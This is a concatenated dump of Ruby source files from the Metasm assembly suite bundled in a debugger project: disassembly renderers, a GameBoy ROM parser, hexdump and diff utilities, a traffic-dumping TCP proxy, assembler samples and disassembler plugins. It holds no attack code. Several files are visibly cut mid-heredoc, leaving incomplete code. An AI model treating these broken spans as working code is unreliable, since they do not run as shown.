| class Reg 13 | include Renderable 14 | def render ; [self.class.i_to_s[@sz][@i]] end 15 | end 16 | class Memref 17 | include Renderable 18 | def render 19 | r = ['('] 20 | r << @base if @base 21 | r << '+' if @base and @offset 22 | r << @offset if @offset 23 | r << ')' 24 | end 25 | end 26 | 27 | def render_instruction(i) 28 | r = [] 29 | r << i.opname 30 | if not i.args.empty? 31 | r << ' ' 32 | i.args.each { |a_| r << a_ << ', ' } 33 | r.pop 34 | end 35 | r 36 | end 37 | 38 | def gui_hilight_word_regexp_init 39 | ret = {} 40 | 41 | # { 'B' => 'B|BC', 'BC' => 'B|C|BC' } 42 | 43 | %w[BC DE HL].each { |w| 44 | l0, l1 = w.split(//) 45 | ret[l0] = "#{l0}#{l1}?" 46 | ret[l1] = "#{l0}?#{l1}" 47 | ret[w] = "#{l0}|#{l0}?#{l1}" 48 | } 49 | 50 | ret 51 | end 52 | 53 | def gui_hilight_word_regexp(word) 54 | @gui_hilight_word_hash ||= gui_hilight_word_regexp_init 55 | @gui_hilight_word_hash[word] or super(word) 56 | end 57 | 58 | end 59 | end 60 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/dynldr-windows-ia32-19.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abhisek/RandomCode/785c37751e2506b034472ac6affe2fdaf533dcca/RbWinDBG/lib-ext/metasm/metasm/dynldr-windows-ia32-19.so -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/exe_format/gb.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | require 'metasm/exe_format/main' 8 | require 'metasm/encode' 9 | require 'metasm/decode' 10 | 11 | 12 | module Metasm 13 | # GameBoy ROM file format 14 | class GameBoyRom < ExeFormat 15 | class Header < SerialStruct 16 | # starts at 0x104 in the file 17 | mem :logo, 0x30 18 | str :title, 0x10 19 | byte :sgb_flag 20 | byte :cartridge_type 21 | byte :rom_size # n => (n+1) * 32k bytes 22 | byte :ram_size 23 | byte :destination_code 24 | byte :old_licensee_code 25 | byte :mask_rom_version 26 | byte :header_checksum 27 | byte :checksum_hi 28 | byte :checksum_lo 29 | end 30 | 31 | def encode_byte(val) Expression[val].encode(:u8, @endianness) end 32 | def decode_byte(edata = @encoded) edata.decode_imm(:u8, @endianness) end 33 | 34 | 35 | attr_accessor :header 36 | 37 | def initialize(cpu=nil) 38 | @endianness = (cpu ? cpu.endianness : :little) 39 | super(cpu) 40 | end 41 | 42 | def decode_header 43 | @encoded.ptr = 0x104 44 | @header = Header.decode(self) 45 | end 46 | 47 | def decode 48 | decode_header 49 | @encoded.add_export('entrypoint', 0x100) 50 | end 51 | 52 | def cpu_from_headers 53 | Z80.new('gb') 54 | end 55 | 56 | def each_section 57 | yield @encoded, 0 58 | end 59 | 60 | def get_default_entrypoints 61 | ['entrypoint'] 62 | end 63 | end 64 | end 65 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/gui.rb: -------------------------------------------------------------------------------- 1 | backend = ENV['METASM_GUI'] || ( 2 | if RUBY_PLATFORM =~ /(i.86|x(86_)?64)-(mswin|mingw|cygwin)/i 3 | 'win32' 4 | else 5 | begin 6 | require 'gtk2' 7 | 'gtk' 8 | rescue LoadError 9 | raise LoadError, 'No GUI ruby binding installed - please install libgtk2-ruby' 10 | end 11 | end 12 | ) 13 | require "metasm/gui/#{backend}" 14 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/metasm/render.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | require 'metasm/main' 8 | 9 | module Metasm 10 | 11 | # a Renderable element has a method #render that returns an array of [String or Renderable] 12 | module Renderable 13 | def to_s 14 | render.join 15 | end 16 | 17 | # yields each Expr seen in #render (recursive) 18 | def each_expr 19 | r = proc { |e| 20 | case e 21 | when Expression 22 | r[e.lexpr] ; r[e.rexpr] 23 | yield e 24 | when Renderable 25 | e.render.each { |re| r[re] } 26 | end 27 | } 28 | r[self] 29 | end 30 | end 31 | 32 | 33 | class Instruction 34 | include Renderable 35 | def render 36 | @cpu.render_instruction(self) 37 | end 38 | end 39 | 40 | class Label 41 | include Renderable 42 | def render 43 | [@name + ':'] 44 | end 45 | end 46 | 47 | class CPU 48 | # renders an instruction 49 | # may use instruction-global properties to render an argument (eg specify pointer size if not implicit) 50 | def render_instruction(i) 51 | r = [] 52 | r << i.opname 53 | r << ' ' 54 | i.args.each { |a| r << a << ', ' } 55 | r.pop 56 | r 57 | end 58 | 59 | # ease debugging in irb 60 | def inspect 61 | "#<#{self.class}:#{'%x' % object_id} ... >" 62 | end 63 | end 64 | 65 | class Expression 66 | include Renderable 67 | 68 | def render_integer(e) 69 | if e < 0 70 | neg = true 71 | e = -e 72 | end 73 | if e < 10; e = e.to_s 74 | else 75 | e = '%xh' % e 76 | e = '0' << e unless (?0..?9).include? e[0] 77 | end 78 | e = '-' << e if neg 79 | e 80 | end 81 | 82 | NOSQ1 = NOSQ2 = {:* => [:*], :+ => [:+, :-, :*], :- => [:+, :-, :*]} 83 | NOSQ2[:-] = [:*] 84 | def render 85 | l = @lexpr.kind_of?(Integer) ? render_integer(@lexpr) : @lexpr 86 | r = @rexpr.kind_of?(Integer) ? render_integer(@rexpr) : @rexpr 87 | l = ['(', l, ')'] if @lexpr.kind_of? Expression and (not oa = NOSQ1[@op] or not oa.include?(@lexpr.op)) 88 | r = ['(', r, ')'] if @rexpr.kind_of? Expression and (not oa = NOSQ2[@op] or not oa.include?(@rexpr.op)) 89 | op = @op if l or @op != :+ 90 | if op == :+ 91 | r0 = [r].flatten.first 92 | r0 = r0.render.flatten.first while r0.kind_of? Renderable 93 | op = nil if (r0.kind_of? Integer and r0 < 0) or (r0.kind_of? String and r0[0] == ?-) or r0 == :- 94 | end 95 | [l, op, r].compact 96 | end 97 | end 98 | 99 | class ExpressionString 100 | include Renderable 101 | 102 | def render; [@str] end 103 | end 104 | end 105 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/misc/bottleneck.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | # A script to help finding performance bottlenecks: 7 | # 8 | # $ ruby-prof myscript.rb 9 | # => String#+ gets called 50k times and takes 30s 10 | # 11 | # $ LOGCALLER='String#+' ruby -r bottleneck myscript.rb 12 | # => String#+ called 40k times from: 13 | # stuff.rb:42 in Myclass#uglymethod from 14 | # stuff.rb:32 in Myclass#initialize 15 | # 16 | # now you know what to rewrite 17 | 18 | 19 | 20 | def log_caller(cls, meth, singleton=false, histlen=nil) 21 | histlen ||= ENV.fetch('LOGCALLER_MAXHIST', 16).to_i 22 | dec_meth = 'm_' + meth.to_s.gsub(/[^\w]/) { |c| c.unpack('H*')[0] } 23 | malias = dec_meth + '_log_caller' 24 | mcntr = '$' + dec_meth + '_counter' 25 | eval < true, '#' => false }[sg] 59 | cls = cls.split('::').inject(::Object) { |o, cst| o.const_get(cst) } 60 | log_caller(cls, meth, sg) 61 | } 62 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/misc/cheader-findpppath.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | # 7 | # shows the preprocessor path to find a specific line 8 | # usage: ruby chdr-find.rb 'regex pattern' list of files.h 9 | # 10 | 11 | def gets 12 | l = $ungets 13 | $ungets = nil 14 | l || super() 15 | end 16 | 17 | def parse(root=false) 18 | want = false 19 | ret = [] 20 | while l = gets 21 | case l = l.strip 22 | when /^#if/ 23 | ret << l 24 | r = parse(true) 25 | if r.empty? 26 | ret.pop 27 | else 28 | want = true 29 | rr = r.pop 30 | ret.concat r.map { |l_| (l_[0,3] == '#el' ? ' ' : ' ') << l_ } 31 | ret << rr 32 | end 33 | when /^#el/ 34 | if not root 35 | $ungets = l 36 | break 37 | end 38 | ret << l 39 | r = parse 40 | want = true if not r.empty? 41 | ret.concat r 42 | when /^#endif/ 43 | if not root 44 | $ungets = l 45 | break 46 | end 47 | ret << l 48 | break 49 | when /#$srch/ #, /^#include/ 50 | want = true 51 | ret << l 52 | end 53 | end 54 | want ? ret : [] 55 | end 56 | 57 | $srch = ARGV.shift 58 | puts parse 59 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/misc/hexdiff.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # This file is part of Metasm, the Ruby assembly manipulation suite 3 | # Copyright (C) 2006-2009 Yoann GUILLOT 4 | # 5 | # Licence is LGPL, see LICENCE in the top-level directory 6 | 7 | 8 | 9 | synclen = 6 10 | ctxlen = 16 11 | 12 | file1 = ('x'*ctxlen) + File.read(ARGV.shift) 13 | file2 = ('x'*ctxlen) + File.read(ARGV.shift) 14 | 15 | count1 = count2 = ctxlen 16 | 17 | # prints the string in 80 cols 18 | # with the first column filled with +pfx+ 19 | def show(pfx, str) 20 | loop do 21 | if str.length > 79 22 | len = 79 - str[0...79][/\S+$/].to_s.length 23 | len = 79 if len == 0 24 | puts pfx + str[0...len] 25 | str = str[len..-1] 26 | else 27 | puts pfx + str 28 | break 29 | end 30 | end 31 | end 32 | 33 | loop do 34 | w1 = file1[count1] 35 | w2 = file2[count2] 36 | break if not w1 and not w2 37 | if w1 == w2 38 | count1 += 1 39 | count2 += 1 40 | else 41 | diff1 = diff2 = nil 42 | catch(:resynced) { 43 | 1000.times { |depth| 44 | (-depth..depth).map { |d| 45 | if d == 0 46 | [depth, depth] 47 | elsif d < 0 48 | [depth, depth+d] 49 | elsif d > 0 50 | [depth-d, depth] 51 | end 52 | }.each { |dc1, dc2| 53 | next if !(0...synclen).all? { |i| file1[count1 + dc1 + i] == file2[count2 + dc2 + i] } 54 | 55 | puts "@#{(count1-ctxlen).to_s 16} #{(count2-ctxlen).to_s 16}" 56 | show ' ', file1[count1-ctxlen, ctxlen].inspect 57 | if dc1 > 0 58 | show '-', file1[count1, dc1].inspect 59 | end 60 | if dc2 > 0 61 | show '+', file2[count2, dc2].inspect 62 | end 63 | count1 += dc1 64 | count2 += dc2 65 | show ' ', file1[count1, ctxlen].inspect 66 | puts 67 | 68 | throw :resynced 69 | } 70 | } 71 | raise 'nomatch..' 72 | } 73 | end 74 | end 75 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/misc/hexdump.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # This file is part of Metasm, the Ruby assembly manipulation suite 3 | # Copyright (C) 2006-2009 Yoann GUILLOT 4 | # 5 | # Licence is LGPL, see LICENCE in the top-level directory 6 | 7 | 8 | 9 | class IO 10 | def hexdump(ctx={}) 11 | ctx[:noend] = true 12 | while buf = read(512) and not buf.empty? 13 | buf.hexdump(ctx) 14 | end 15 | ctx.delete :noend 16 | ''.hexdump(ctx) 17 | end 18 | end 19 | 20 | class String 21 | def hexdump(ctx={}) 22 | fmt = ctx[:fmt] ||= ['c', 'd', 'a'] 23 | ctx[:pos] ||= 0 24 | ctx[:linelen] ||= 16 25 | scan(/.{1,#{ctx[:linelen]}}/m) { |s| 26 | if s != ctx[:lastline] 27 | ctx[:lastdup] = false 28 | print '%04x ' % ctx[:pos] 29 | print s.unpack('C*').map { |b| '%02x' % b }.join(' ').ljust(3*16-1) + ' ' if fmt.include? 'c' 30 | print s.unpack('v*').map { |b| '%04x' % b }.join(' ').ljust(5*8-1) + ' ' if fmt.include? 'w' 31 | print s.unpack('L*').map { |b| '%08x' % b }.join(' ').ljust(9*4-1) + ' ' if fmt.include? 'd' 32 | print s.tr("\0-\x1f\x7f-\xff", '.') if fmt.include? 'a' 33 | puts 34 | elsif not ctx[:lastdup] 35 | ctx[:lastdup] = true 36 | puts '*' 37 | end 38 | ctx[:lastline] = s 39 | ctx[:pos] += s.length 40 | } 41 | puts '%04x' % ctx[:pos] if not ctx[:noend] 42 | rescue Errno::EPIPE 43 | exit 44 | end 45 | end 46 | 47 | if $0 == __FILE__ 48 | fmt = [] 49 | fmt << 'c' if ARGV.delete '-C' 50 | fmt << 'w' if ARGV.delete '-W' 51 | fmt << 'd' if ARGV.delete '-D' 52 | fmt << 'a' if ARGV.delete '-A' 53 | fmt = ['c', 'd', 'a'] if ARGV.delete '-a' 54 | infd = ARGV.empty? ? $stdin : File.open(ARGV.first, 'rb') 55 | infd.hexdump(:fmt => fmt) 56 | end 57 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/misc/lint.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/ruby 2 | # This file is part of Metasm, the Ruby assembly manipulation suite 3 | # Copyright (C) 2006-2009 Yoann GUILLOT 4 | # 5 | # Licence is LGPL, see LICENCE in the top-level directory 6 | 7 | 8 | # this is a ruby code cleaner tool 9 | # it passes its argument to ruby -v -c, which displays warnings (eg unused variable) 10 | # it shows the incriminated line along the warning, to help identify false positives 11 | # probably linux-only, and need ruby-1.9.1 or newer 12 | 13 | def lint(tg) 14 | if File.symlink?(tg) 15 | # nothing 16 | elsif File.directory?(tg) 17 | Dir.entries(tg).each { |ent| 18 | next if ent == '.' or ent == '..' 19 | ent = File.join(tg, ent) 20 | lint(ent) if File.directory?(ent) or ent =~ /\.rb$/ 21 | } 22 | else 23 | lint_file(tg) 24 | end 25 | end 26 | 27 | def lint_file(tg) 28 | flines = nil 29 | compile_warn(tg).each_line { |line| 30 | file, lineno, warn = line.split(/\s*:\s*/, 3) 31 | if file == tg 32 | if not flines 33 | puts "#{tg}:" 34 | flines = File.readlines(file) #File.open(file, 'rb') { |fd| fd.readlines } 35 | end 36 | puts " l.#{lineno}: #{warn.strip}: #{flines[lineno.to_i-1].strip.inspect}" 37 | end 38 | } 39 | puts if flines 40 | end 41 | 42 | def compile_warn(tg) 43 | r, w = IO.pipe('binary') 44 | if !fork 45 | r.close 46 | $stderr.reopen w 47 | $stdout.reopen '/dev/null' 48 | exec 'ruby', '-v', '-c', tg 49 | exit! 50 | else 51 | w.close 52 | end 53 | r 54 | end 55 | 56 | ARGV << '.' if ARGV.empty? 57 | ARGV.each { |arg| lint arg } 58 | 59 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/misc/metasm-all.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | # this file loads all metasm files, to avoid using ruby autoload mechanism 7 | 8 | require File.join(File.dirname(__FILE__), '..', 'metasm') 9 | 10 | module Metasm 11 | Const_autorequire.values.flatten.each { |f| require File.join('metasm', f) } 12 | $:.pop if $:.last == Metasmdir 13 | end 14 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/misc/objdiff.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | # computes the difference beetween two ruby objects 8 | # walks accessors, arrays and hashes 9 | 10 | def Object.diff(o1, o2) 11 | if o1.class == o2.class 12 | h = {} 13 | case o1 14 | when Array, Hash 15 | if o1.kind_of? Array 16 | keys = (0...[o1.length, o2.length].max).to_a 17 | else 18 | keys = o1.keys | o2.keys 19 | end 20 | keys.each { |k| 21 | d = diff(o1[k], o2[k]) 22 | h["[#{k.inspect}]"] = d if not d.empty? 23 | } 24 | else 25 | a = (@@diff_accessor_cache ||= {})[o1.class] ||= (im = o1.class.public_instance_methods.grep(/^[a-z]/) ; (im & im.map { |m| m + '=' }).map { |m| m.chop }.find_all { |m| o1.instance_variable_get('@'+m) }) 26 | if a.empty? 27 | return o1 == o2 ? h : [o1, o2] 28 | end 29 | a.each { |k| 30 | d = diff(o1.send(k), o2.send(k)) 31 | h['.' + k] = d if not d.empty? 32 | } 33 | end 34 | 35 | # simplify tree 36 | h.keys.each { |k| 37 | if h[k].kind_of? Hash and h[k].length == 1 38 | v = h.delete k 39 | h[k + v.keys.first] = v.values.first 40 | end 41 | } 42 | 43 | h 44 | else 45 | [o1, o2] 46 | end 47 | end 48 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/misc/objscan.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | # searches an object in the attributes of another 7 | # anyobj.scan_for([obj]) => "anyobj.someattr[42]['blabla']" 8 | 9 | class Object 10 | def scan_iter 11 | case self 12 | when ::Array 13 | length.times { |i| yield self[i], "[#{i}]" } 14 | when ::Hash 15 | each { |k, v| yield v, "[#{k.inspect}]" ; yield k, "(key)" } 16 | else 17 | instance_variables.each { |i| yield instance_variable_get(i), ".#{i[1..-1]}" } 18 | end 19 | end 20 | 21 | # dumps to stdout the path to find some targets ( array of objects to match with == ) 22 | def scan_for(targets, path='', done={}) 23 | done[object_id] = self if done.empty? 24 | if t = targets.find { |t_| self == t_ } 25 | puts "found #{t} at #{path}" 26 | end 27 | scan_iter { |v, p| 28 | case v 29 | when Fixnum, Symbol; next 30 | end 31 | p = path+p 32 | if done[v.object_id] 33 | puts "loop #{p} -> #{done[v.object_id]}" if $VERBOSE 34 | else 35 | done[v.object_id] = p 36 | v.scan_for(targets, p, done) 37 | end 38 | } 39 | end 40 | end 41 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/misc/tcp_proxy_hex.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/ruby 2 | # This file is part of Metasm, the Ruby assembly manipulation suite 3 | # Copyright (C) 2006-2009 Yoann GUILLOT 4 | # 5 | # Licence is LGPL, see LICENCE in the top-level directory 6 | 7 | 8 | # this is a TCP proxy which dumps the transmitted data in hex on stdout 9 | # usage: tcp_proxy [] 10 | 11 | require 'socket' 12 | require File.join(File.dirname(__FILE__), 'hexdump') 13 | 14 | def bouncepkt(clt, srv, timeout=nil) 15 | s2c = '' 16 | c2s = '' 17 | loop do 18 | break if not IO.select([clt, srv], nil, nil, timeout) 19 | 20 | while srv and s2c.length < 1024*16 and IO.select([srv], nil, nil, 0) 21 | str = (srv.read(1) rescue nil) 22 | if not str or str.empty? 23 | srv = false 24 | else 25 | s2c << str 26 | end 27 | end 28 | 29 | while clt and c2s.length < 1024*16 and IO.select([clt], nil, nil, 0) 30 | str = (clt.read(1) rescue nil) 31 | if not str or str.empty? 32 | clt = false 33 | else 34 | c2s << str 35 | end 36 | end 37 | 38 | if clt and s2c.length > 0 and IO.select(nil, [clt], nil, 0) 39 | puts Time.now.strftime('s -> c %H:%M:%S') 40 | s2c.hexdump(:fmt => ['c', 'a']) 41 | clt.write s2c 42 | s2c.replace '' 43 | end 44 | 45 | if srv and c2s.length > 0 and IO.select(nil, [srv], nil, 0) 46 | puts Time.now.strftime('c -> s %H:%M:%S') 47 | c2s.hexdump(:fmt => ['c', 'a']) 48 | srv.write c2s 49 | c2s.replace '' 50 | end 51 | break if not clt or not srv 52 | end 53 | end 54 | 55 | 56 | if $0 == __FILE__ 57 | if ARGV.length < 4 58 | abort "usage: bnc []" 59 | end 60 | 61 | lhost = ARGV.shift 62 | lport = Integer(ARGV.shift) 63 | rhost = ARGV.shift 64 | rport = Integer(ARGV.shift) 65 | timeout = Float(ARGV.shift) if not ARGV.empty? 66 | 67 | s = TCPServer.new(lhost, lport) 68 | 69 | loop do 70 | puts "waiting..." 71 | a = s.accept 72 | puts "incoming connection" 73 | c = TCPSocket.new(rhost, rport) 74 | 75 | begin 76 | bouncepkt(a, c, timeout) 77 | rescue SystemCallError 78 | end 79 | 80 | puts "connection closed" 81 | a.close 82 | c.close 83 | end 84 | end 85 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/samples/a.out.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | # 7 | # here we build a simple a.out executable 8 | # 9 | 10 | require 'metasm' 11 | 12 | Metasm::AOut.assemble(Metasm::Ia32.new, <>4)*0 ; we are now at 74 bytes from the beginning of the shellcode (db 42h) 37 | ; .offset accepts an arbitrary expression 38 | 39 | .padto toto+38, db 3 dup(0b0110_0110) ; fill space with the specified data structure until 38 bytes after toto (same as .pad + .offset) 40 | 41 | inc eax 42 | 43 | .align 16, dw foobar + 42 44 | 45 | local1: 46 | 1: // a local label (any integer allowed) 47 | jmp 1b // 1b => last '1' label (same as local1) 48 | jmp 1f // 1f => next '1' label (same as local2) 49 | 50 | local2: 51 | 1: // local labels can be redefined as often as needed 52 | mov eax, 1b // same as local2 53 | 54 | ret 55 | 56 | #ifdef BLABLA 57 | you can also use any preprocessor directive (gcc-like syntax) 58 | #pragma include_dir "/some/directory" 59 | #include 60 | # elif defined(HOHOHO) && 42 61 | #error 'infamous error message' 62 | #else 63 | #define test(ic) ((ic) - \ 64 | 4) 65 | #endif 66 | 67 | EOS 68 | 69 | edata.fixup 'foobar' => 1 # fixup the value of 'foobar' 70 | newdata = 'somestring' 71 | edata.patch 'pre_pad', 'post_pad', newdata # replace the (beginning of the) segment beetween the labels by a string 72 | #edata.patch 'pre_pad', 'post_pad', 'waaaaaaaaaay tooooooooooooooooooooooooooooooooooooooooo big !!!!' # raise an error 73 | 74 | edata.fixup 'kikoo' => 8, 'lol' => 42 # fixup the immediate values 75 | edata.fixup 'someexternalvar' => 0x30303030 # fixup the external used in the data segment 76 | 77 | p edata.data # show the resulting raw string 78 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/samples/compilation-steps.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | # shows the compilation phase step by step: c, simplified c, asm 7 | 8 | require 'metasm' 9 | require 'optparse' 10 | 11 | opts = { :cpu => 'Ia32', :exe => 'Shellcode', :macros => {} } 12 | OptionParser.new { |opt| 13 | opt.on('--pic', 'generate position-independant code') { opts[:pic] = true } 14 | opt.on('--cpu cpu') { |c| opts[:cpu] = c } 15 | opt.on('--exe exe') { |e| opts[:exe] = e } 16 | opt.on('-D var=val', 'define a preprocessor macro') { |v| v0, v1 = v.split('=', 2) ; opts[:macros][v0] = v1 } 17 | opt.on('-v') { $VERBOSE = true } 18 | opt.on('-d') { $VERBOSE = $DEBUG = true } 19 | opt.on('-e src') { |s| opts[:src] = s } 20 | }.parse!(ARGV) 21 | 22 | src = opts[:src] || (ARGV.empty? ? < 31 | EOS 32 | else 33 | # standalone header 34 | src = File.read(filename) 35 | end 36 | 37 | include Metasm 38 | 39 | cp = Ia32.new.new_cparser.parse(src) 40 | 41 | if not $VERBOSE 42 | funcs = cp.toplevel.symbol.values.grep(C::Variable).reject { |v| v.initializer or not v.type.kind_of? C::Function } 43 | 44 | puts 'module Metasm' 45 | puts 'StackOffsets = {' 46 | align = lambda { |val| (val + cp.typesize[:ptr] - 1) / cp.typesize[:ptr] * cp.typesize[:ptr] } 47 | puts funcs.find_all { |f| f.attributes and f.attributes.include? 'stdcall' and f.type.args }.sort_by { |f| f.name }.map { |f| 48 | "#{f.name.inspect} => #{f.type.args.inject(0) { |sum, arg| sum + align[cp.sizeof(arg)] }}" 49 | }.join(",\n") 50 | puts '}' 51 | puts 'end' 52 | else 53 | # dump the full parsed header 54 | puts cp.lexer.dump_macros(cp.lexer.definition.keys, false), '', '', cp 55 | end 56 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/samples/dasm-backtrack.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # This file is part of Metasm, the Ruby assembly manipulation suite 3 | # Copyright (C) 2006-2009 Yoann GUILLOT 4 | # 5 | # Licence is LGPL, see LICENCE in the top-level directory 6 | 7 | 8 | # 9 | # quick demonstration that the disassembler's backtracker works 10 | # 11 | 12 | require 'metasm' 13 | Metasm.require 'samples/metasm-shell' 14 | 15 | puts < 1, b => 2, c => 4, all => 7: discard abc, keep 'all' 41 | dict.delete_if { |k, v| dict.find { |kk, vv| vv > v and vv & v == v } } 42 | dict.keys.join(' | ') if not dict.empty? 43 | end 44 | end 45 | 46 | if gui 47 | gui.keyboard_callback[?K] = lambda { |*a| 48 | addr = gui.curaddr 49 | imm_to_const(addr) { |i| 50 | gui.inputbox("const name for #{Expression[i]}") { |name| 51 | imm_to_const(addr) { |ii| name if ii == i } 52 | gui.gui_update 53 | } 54 | nil 55 | } 56 | } 57 | end 58 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/samples/dasm-plugins/cppobj_funcall.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | # metasm dasm plugin 8 | # finds instances of indirect calls a la call [ecx+40h], backtraces ecx, comments with the C++ object function pointer name 9 | # if the backtracked object has no type, prompt for a C structure name. 10 | 11 | # TODO simpler gui interface to set [base+off] => ; struct->member 12 | 13 | @indirect_call_struct = {} 14 | def solve_indirect_call_set_struct(ptr, struct) 15 | struct = @c_parser.toplevel.struct[struct] if struct.kind_of? String 16 | raise 'no such struct' if not struct 17 | @indirect_call_struct[ptr] = struct 18 | end 19 | 20 | def solve_indirect_calls 21 | @decoded.values.grep(DecodedInstruction).each { |di| 22 | next if not di.opcode.props[:saveip] # only calls 23 | fptr = get_xrefs_x(di) 24 | next if fptr.to_a.length != 1 25 | fptr = Expression[fptr.first].reduce_rec 26 | next if not fptr.kind_of? Indirection 27 | next if not fptr.pointer.lexpr.kind_of? Symbol 28 | next if not fptr.pointer.rexpr.kind_of? Integer 29 | obj = backtrace(fptr.pointer.lexpr, di.address) 30 | obj.delete Expression::Unknown 31 | next if obj.length != 1 32 | obj = obj.first 33 | obj = Expression[obj].reduce_rec 34 | next if not obj.kind_of? Indirection 35 | obj = obj.pointer # vtable ptr -> object ptr 36 | 37 | if not struct = @indirect_call_struct[obj] 38 | struct = yield obj if block_given? 39 | solve_indirect_call_set_struct(obj, struct || :none) 40 | end 41 | 42 | if struct.kind_of? C::Struct and fld = struct.members.find { |m| struct.offsetof(c_parser, m) == fptr.pointer.rexpr } and fld.name 43 | di.add_comment "#{struct.name || obj}->#{fld.name}" 44 | di.comment.delete 'x:unknown' 45 | end 46 | } 47 | end 48 | 49 | if gui 50 | solve_indirect_calls { |ptr| 51 | gui.inputbox("struct name for object at #{ptr}") { |name| 52 | solve_indirect_call_set_struct(ptr, name) 53 | # re-solve everything, cause we're called only once but many indirect calls may use ptr 54 | solve_indirect_calls 55 | gui.gui_update 56 | } 57 | } 58 | gui.gui_update 59 | nil 60 | end 61 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/samples/dasm-plugins/dasm_all.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | # metasm dasm plugin: retrieve a section section, and disassemble everything it can, skipping existing code and nops 8 | # usage: load the plugin, then call (ruby snipped): dasm.dasm_all_section '.text' 9 | def dasm_all(addrstart, length, method=:disassemble_fast_deep) 10 | s = get_section_at(addrstart) 11 | return if not s 12 | s = s[0] 13 | boff = s.ptr 14 | off = 0 15 | while off < length 16 | if di = di_at(addrstart + off) 17 | off += di.bin_length 18 | elsif @decoded[addrstart+off] 19 | off += 1 20 | else 21 | s.ptr = boff+off 22 | maydi = cpu.decode_instruction(s, 0) 23 | if not maydi 24 | off += 1 25 | elsif maydi.instruction.to_s =~ /nop|lea (.*), \[\1(?:\+0)?\]|mov (.*), \2|int 3/ 26 | off += maydi.bin_length 27 | else 28 | puts "dasm_all: found #{Expression[addrstart+off]}" if $VERBOSE 29 | send(method, addrstart+off) 30 | end 31 | end 32 | Gui.main_iter if gui and off & 15 == 0 33 | end 34 | 35 | count = 0 36 | off = 0 37 | while off < length 38 | addr = addrstart+off 39 | if di = di_at(addr) 40 | if di.block_head? 41 | b = di.block 42 | if not @function[addr] and b.from_subfuncret.to_a.empty? and b.from_normal.to_a.empty? 43 | l = auto_label_at(addr, 'sub_orph') 44 | puts "dasm_all: found orphan function #{l}" 45 | @function[addrstart+off] = DecodedFunction.new 46 | @function[addrstart+off].finalized = true 47 | detect_function_thunk(addr) 48 | count += 1 49 | end 50 | end 51 | off += di.bin_length 52 | else 53 | off += 1 54 | end 55 | Gui.main_iter if gui and off & 15 == 0 56 | end 57 | 58 | puts "found #{count} orphan functions" if $VERBOSE 59 | 60 | gui.gui_update if gui 61 | end 62 | 63 | def dasm_all_section(name, method=:disassemble_fast_deep) 64 | section_info.each { |n, a, l, i| 65 | if name == n 66 | dasm_all(Expression[a].reduce, l, method) 67 | end 68 | } 69 